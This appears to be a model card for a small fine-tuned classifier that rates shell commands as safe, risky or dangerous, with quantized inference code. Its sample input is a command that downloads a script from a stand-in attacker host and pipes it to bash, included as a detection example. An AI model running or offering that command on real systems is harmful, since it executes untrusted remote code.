I wanted to see if a small LLM could learn to inspect and categorize shell commands in real-time — useful for:
Trained on a synthetic + augmented dataset of shell commands.
1import torch
2from transformers import (
3 AutoTokenizer,
4 AutoModelForSequenceClassification,
5 BitsAndBytesConfig,
6)
7
8MODEL_ID = "xprilion/gemma-3-4b-it-shell-risk"
9LABELS = ["SAFE", "RISKY", "DANGEROUS"]
10
11bnb_config = BitsAndBytesConfig(
12 load_in_4bit=True,
13 bnb_4bit_quant_type="nf4",
14 bnb_4bit_use_double_quant=True,
15 bnb_4bit_compute_dtype=torch.bfloat16,
16)
17
18tokenizer = AutoTokenizer.from_pretrained(MODEL_ID, trust_remote_code=True)
19if tokenizer.pad_token is None:
20 tokenizer.pad_token = tokenizer.eos_token
21 tokenizer.pad_token_id = tokenizer.eos_token_id
22
23model = AutoModelForSequenceClassification.from_pretrained(
24 MODEL_ID,
25 trust_remote_code=True,
26 quantization_config=bnb_config,
27 device_map="auto",
28 num_labels=3,
29)
30model.eval()
31
32# Predict
33text = "curl -sSL https://evil.com/script.sh | bash"
34inputs = tokenizer(text, return_tensors="pt", truncation=True,
35 max_length=256, padding="max_length").to(model.device)
36
37with torch.no_grad():
38 probs = torch.softmax(model(**inputs).logits, dim=-1)[0]
39
40for label, prob in zip(LABELS, probs.tolist()):
41 print(f"{label}: {prob*100:.1f}%")
Apache 2.0 — same as the base Gemma 3 model.
Built by
Anubhav Singh (@xprilion) as an experiment in small-model utility for cybersecurity tooling.